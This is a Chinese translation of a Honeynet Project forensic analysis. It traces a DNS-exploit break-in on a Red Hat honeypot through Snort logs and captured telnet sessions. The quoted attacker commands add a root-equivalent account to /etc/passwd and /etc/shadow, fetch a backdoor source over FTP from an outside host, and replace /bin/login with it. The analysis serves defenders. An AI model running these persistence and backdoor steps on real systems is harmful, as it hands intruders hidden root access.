歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux綜合 >> Linux資訊 >> 更多Linux

了解你的敵人IIII

  Know Your Enemy: A Forensic Analysis 一次攻擊的學習 Honeynet Project http://project.honeynet.org http://www.xfocus.org Last Modified: 23 May 2000 此文章是Know Your Enemy系列,前三篇文章涵蓋了關於black-hat團體所使用的工具和策略,這文章的目的是怎樣一步步成功攻擊系統的,這裡的重點是在我們怎樣知道發生的攻擊者和獲得信息。也提供你一些分析和熟悉你自身系統上存在的威脅。這裡也有一在線,交互的版本發布在MSNBC上。 背景 此文信息通過honeypot獲得,這裡的Honeypot安裝在REDHAT6.0上,REDHAT是默認的服務安裝,所以討論的漏洞存在在任意默認安裝的REDHAT系統上。而且所有數據沒有被處理過。下面分析的所有IP地址,用戶帳號,和擊鍵的信息是真實的,除了密碼信息,這樣是為了更直接的了解整個過程。所有SNIFF信息是通過SNORT格式體現的;SNORT是一個常用的嗅探器,對於檢測系統入侵分析來說是一個不錯的工具,我使用了在http://www.whitehats.com/上的MAX VISION 的IDS特征。你可以在arachNIDS數據庫中查更多有關在此文章中的所有警告信息。你可以在這裡找到我的SNORT配置信息和特征文件,包括我使用的命令行選項。 攻擊行為 在四月26號,snort提醒我其中的一個系統正受到一個'noop'攻擊,信息包裝載包含noops的信息,在此情況下,SNORT探測到攻擊和記錄了警告信息到/var/log/messages文件中(使用swatch來監控),注意這文中172.16.1.107的IP地址是含有honeypot的機器,其他的地址是black-hat(黑帽子)使用的IP地址。 Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 我的honeypots每天接受無數探測,掃描和查詢,而且下面的一個警告信息使我注意到其中一個系統可能被破壞,下面的系統LOG信息指示攻擊者正開始了一個連接和LOGIN了系統: Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0) Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506) 從上面的情況可以看到,入侵者已經獲得超級用戶權利和控制了整個系統,但這是怎樣完成的呢,我們下面開始分析: 分析 當分析一攻擊的時候,最好的位置是在開始端,即攻擊者是從哪裡開始的,攻擊者一般開始是收集系統信息,可以讓他獲得系統所存在的漏洞,如果你的系統被破壞,這就表明攻擊者不是第一次與你的系統通信了,大多數攻擊者必須通過對你系統的連接獲得初始化的信息。 所以我們從最開始的信息收集開始,從第一條信息可以知道攻擊初於53端口,這表示在我們系統上發動了一個DNS攻擊,所以我通過我的snort alerts來發現一些DNS可能的信息探測,我們發現一DNS版本查詢探測的信息: Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53 Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53 注意,這個探測日期是4月25日,我們系統被攻擊是在4月26號,系統是在被探測後的一天被入侵的,所以我猜測攻擊者是使用一些掃描器掃描出一些關於DNS漏洞的信息,掃描以後,攻擊者查看掃描結果,獲得系統漏洞信息,然後啟用他們的EXPLO99v。這樣我們可以得到如下結論:在4月25號被檢測後,後一天被侵入,通過我們的IDS警告,我們獲知我們是被DNS漏洞攻擊。 The Exploit 類似於大多數商業IDS系統,snort可以顯示我們所有IP信息包裝載數據,我們就使用這功能來分析EXPLO99v,這個EXPLO99v信息可以從snort的LOG記錄獲得(存儲在tcpdump兩進制格式)。我查詢snort的LOG記錄並開始分析攻擊開始時候的信息包,我沒有把信息限制在僅查詢主機63.336.81.13,主要是因為攻擊者使用三個不同系統來運行這個EXPLO99v,這個EXPLO99v的目標是在遠程主機上獲得ROOT SHELL,一旦攻擊者獲得ROOT SHELL,他們可以以ROOT身份運行所有命令,還通常會在/etc/passwd和/etc/shadow文件中增加帳號,下面的細節中是獲得ROOT SHELL後執行的一些命令:


cd /; uname -a; pwd; id; Linux apollo.uicmba.edu 2.2.5-15 #1 Mon Apr 19 22:21:09 EDT 1999 i586 unknown / uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) echo "twin::506:506::/home/twin:/bin/bash" >> /etc/passwd echo "twin:w3nT2H0b6AjM2:::::::" >> /etc/shadow echo "hantu::0:0::/:/bin/bash" >> /etc/passwd echo "hantu:w3nT2H0b6AjM2:::::::" >> /etc/shadow 從上面可以知道,攻擊者運行了uname -a 查詢了系統,和PWD查詢當前目錄,和ID查看UID,並增加了twin和hantu兩個帳號,使用了相同的密碼,必須注意,twin使用了UID為506,而hantu使用了UID為0(另一方面hantu是印度尼西亞語言中的鬼魂的意思),要知道,大多數系統中不允許UID為0的帳號遠程TELNET,所以起建立了一個可以遠程TELNET的帳號,並建立了以後可以SU到ROOT的帳號。在90秒內攻擊者利用了EXPLO99v程序進入系統,並獲得ROOT權利(可以通過下面的LOG記錄) Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twin by (uid=0) Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu by twin(uid=506) 現在要分析其下一步將做什麼? 獲得訪問權利後的活動 比較幸運的是,TELNET是明文協議,對數據沒有進行加密,這表示我們可以解開其蹤跡和捕獲其擊鍵記錄,而snort就做好了這些,這就是snort另一個好處,通過捕獲對TELNET會話的擊鍵記錄,我們可以判斷攻擊者在做何工作,snort捕獲了不但是STDIN(擊鍵),而且還有STDOUT 和STDER記錄,讓我們來看看TELNET會話和入侵者的活動吧:注釋文件我們用紅色來標明). 開始,我們的朋友一twin身份TELNET系統(從213.28.22.189),並獲得超級用戶身份-hantu,這裡要記住他不能以UID為0的身份TELNET。 #' !"'!"# ' 9600,9600'VT5444VT5444 Red Hat Linux release 6.0 (Shedwig) Kernel 2.2.5-15 on an i586 login: twin PassWord: Password: hax0r No Directory /home/twin! Logging in with home = "/". [twin@apollo /]$ su hantu Password: Password: hax0r 下一步,攻擊者去其他機器抓取ROOTK99v程序,如下: [root@apollo /]# FTP 24.112.167.35 Connected to 24.112.167.35. 220 linux FTP server (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready. Name (24.112.167.35:twin): welek 331 Password required for welek. Password:password 230 User welek logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> get bj.c local: bj.c remote: bj.c 200 PORT command sUCcessful. 150 Opening BINARY mode data connection for bj.c (1010 bytes).

226 Transfer complete. 1010 bytes received in 0.115 secs (8.6 Kbytes/sec) ftp> quit 221-You have transferred 1010 bytes in 1 files. 221-Total traffic for this session was 1421 bytes in 1 transfers. 221-Thank you for using the FTP service on linux. 221 Goodbye. 他FTP獲得了後門程序,編譯了bj.c,並安裝代替了/sbin/login程序,(從下面的記錄來看,攻擊者使用了COPY和粘貼的工作): [root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/loginchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm bj.cgcc -o login bj.c bj.c:16: unterminated string or character constant bj.c:12: possible real start of unterminated constant 然後他起用了後門程序: [root@apollo /]# chown root:bin login chown: login: No such file or directory root@apollo /]# chmod 4555 login chmod: login: No such file or directory root@apollo /]# chmod u-w login chmod: login: No such file or directory root@apollo /]# cp /bin/login /usr/bin/xstat root@apollo /]# cp /bin/login /usr/bin/old root@apollo /]# rm /bin/login root@apollo /]# chmod 555 /usr/bin/xstat root@apollo /]# chgrp bin /usr/bin/xstat root@apollo /]# mv login /bin/login mv: login: No such file or directory root@apollo /]#



right">



Copyright © Linux教程網 All Rights Reserved